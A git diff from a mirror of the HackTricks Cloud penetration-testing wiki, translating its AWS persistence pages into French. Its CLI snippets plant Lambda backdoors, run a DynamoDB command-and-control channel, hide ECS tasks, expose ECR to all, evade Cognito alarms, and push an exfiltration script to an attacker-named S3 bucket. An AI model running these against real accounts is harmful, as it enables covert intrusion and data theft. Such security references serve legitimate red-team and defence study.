mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-22 23:26:41 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -1,6 +1 @@
|
||||
# AWS - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# AWS - Persistance
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
Pour plus d'informations, allez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,25 +12,21 @@ For more information go to:
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
Modifiez la politique de ressource des API gateway pour vous accorder l'accès.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
Modifiez le code des authorizers lambda pour vous accorder l'accès à tous les points de terminaison.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
Si une ressource utilise un authorizer IAM, vous pourriez vous accorder l'accès en modifiant les permissions IAM.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
Si des clés API sont utilisées, vous pourriez les leak pour maintenir la persistance ou même en créer de nouvelles.\
|
||||
Ou supprimez simplement l'utilisation des clés API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
### Persistance des utilisateurs
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme :
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
- **Ajouter un User Pool** contrôlé par l'utilisateur à un Identity Pool
|
||||
- Donner un **rôle IAM à un Identity Pool non authentifié et permettre le flux d'authentification de base**
|
||||
- Ou à un **Identity Pool authentifié** si l'attaquant peut se connecter
|
||||
- Ou **améliorer les permissions** des rôles donnés
|
||||
- **Créer, vérifier & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool**
|
||||
- **Permettre aux fournisseurs d'identité externes** de se connecter dans un User Pool ou dans un Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
Vérifiez comment effectuer ces actions dans
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
@@ -29,18 +29,12 @@ Check how to do these actions in
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
Un attaquant avec ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans que des alarmes ne soient déclenchées**. [**Consultez le cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) pour vérifier toutes les options :
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
Par défaut, cela est désactivé :
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,67 +1,59 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
# AWS - Persistance DynamoDB
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
Pour plus d'informations, accédez à :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
### Déclencheurs DynamoDB avec Backdoor Lambda
|
||||
|
||||
En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **backdoor discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Pour maintenir la persistance, l'attaquant peut créer ou modifier des éléments dans la table DynamoDB, ce qui déclenchera la fonction Lambda malveillante. Cela permet à l'attaquant d'exécuter du code au sein du compte AWS sans interaction directe avec la fonction Lambda.
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
### DynamoDB comme canal C2
|
||||
|
||||
Un attaquant peut utiliser une table DynamoDB comme un **canal de commande et de contrôle (C2)** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
Les instances compromises ou les fonctions Lambda peuvent vérifier périodiquement la table C2 pour de nouvelles commandes, les exécuter et, en option, rapporter les résultats à la table. Cela permet à l'attaquant de maintenir la persistance et le contrôle sur les ressources compromises.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,55 +4,51 @@
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
### Suivi de connexion du groupe de sécurité
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas autoriser **aucun type de trafic entrant ou sortant**.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas autoriser le trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
### Gestionnaire de cycle de vie EC2
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
Ce service permet de **programmer** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\
|
||||
Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **toutes les semaines** et **les partager avec son compte**.
|
||||
|
||||
### Scheduled Instances
|
||||
### Instances programmées
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
Il est possible de programmer des instances pour qu'elles s'exécutent quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder.
|
||||
|
||||
### Spot Fleet Request
|
||||
### Demande de flotte Spot
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution IP automatique** et des **données utilisateur** qui envoient à l'attaquant **lorsque l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**.
|
||||
|
||||
### Backdoor Instances
|
||||
### Instances de porte dérobée
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
Un attaquant pourrait accéder aux instances et les compromettre :
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
- En utilisant un **rootkit** traditionnel par exemple
|
||||
- En ajoutant une nouvelle **clé SSH publique** (voir [options de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- En compromettant les **données utilisateur**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
### **Configuration de lancement de porte dérobée**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
- Compromettre l'AMI utilisée
|
||||
- Compromettre les données utilisateur
|
||||
- Compromettre la paire de clés
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
Créer un VPN afin que l'attaquant puisse se connecter directement à travers celui-ci au VPC.
|
||||
|
||||
### VPC Peering
|
||||
### Peering VPC
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
Créer une connexion de peering entre le VPC de la victime et le VPC de l'attaquant afin qu'il puisse accéder au VPC de la victime.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,98 +4,88 @@
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
### Image Docker Cachée avec Code Malveillant
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
Un attaquant pourrait **télécharger une image Docker contenant du code malveillant** dans un dépôt ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services au sein du compte, tels qu'Amazon ECS ou EKS, de manière furtive.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
### Politique de Dépôt
|
||||
|
||||
Ajoutez une politique à un seul dépôt vous accordant (ou à tout le monde) l'accès à un dépôt :
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
> Notez que ECR exige que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
### Politique de Registre & Réplication Inter-comptes
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication inter-comptes, où vous devez **indiquer le compte externe** dans lequel vous souhaitez répliquer le registre.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
Tout d'abord, vous devez donner au compte externe un accès au registre avec une **politique de registre** comme :
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
Ensuite, appliquez la configuration de réplication :
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,29 +4,28 @@
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
### Tâche ECS Périodique Cachée
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **planifier l'exécution d'une tâche malveillante périodiquement**. Cette tâche peut effectuer des reconnaissances, exfiltrer des données ou maintenir la persistance dans le compte AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
@@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
### Conteneur de porte dérobée dans une définition de tâche ECS existante
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
Un attaquant peut ajouter un **conteneur de porte dérobée furtif** dans une définition de tâche ECS existante qui s'exécute aux côtés de conteneurs légitimes. Le conteneur de porte dérobée peut être utilisé pour la persistance et pour effectuer des activités malveillantes.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
### Service ECS non documenté
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
> TODO: Tester
|
||||
|
||||
Un attaquant peut créer un **service ECS non documenté** qui exécute une tâche malveillante. En définissant le nombre souhaité de tâches à un minimum et en désactivant la journalisation, il devient plus difficile pour les administrateurs de remarquer le service malveillant.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
### Modifier la politique de ressource / Groupes de sécurité
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
En modifiant la **politique de ressource et/ou les groupes de sécurité**, vous pouvez essayer de persister votre accès au système de fichiers.
|
||||
|
||||
### Create Access Point
|
||||
### Créer un point d'accès
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
Vous pourriez **créer un point d'accès** (avec un accès root à `/`) accessible depuis un service où vous avez mis en œuvre **autre persistance** pour maintenir un accès privilégié au système de fichiers.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,31 +4,30 @@
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
### Persistance dans l'Instance
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
Afin de maintenir la persistance à l'intérieur du compte AWS, certains **mécanismes de persistance pourraient être introduits à l'intérieur de l'instance** (tâche cron, clé ssh...) afin que l'attaquant puisse y accéder et voler les **identifiants du rôle IAM depuis le service de métadonnées**.
|
||||
|
||||
### Backdoor in Version
|
||||
### Porte dérobée dans la Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
Un attaquant pourrait introduire une porte dérobée dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa porte dérobée et le code attendu.
|
||||
|
||||
### New backdoored version
|
||||
### Nouvelle version avec porte dérobée
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec une porte dérobée.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
### Abus des Hooks de Cycle de Vie des Ressources Personnalisées
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
> TODO: Tester
|
||||
|
||||
Elastic Beanstalk fournit des hooks de cycle de vie qui vous permettent d'exécuter des scripts personnalisés lors de la provision et de la terminaison des instances. Un attaquant pourrait **configurer un hook de cycle de vie pour exécuter périodiquement un script qui exfiltre des données ou maintient l'accès au compte AWS**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
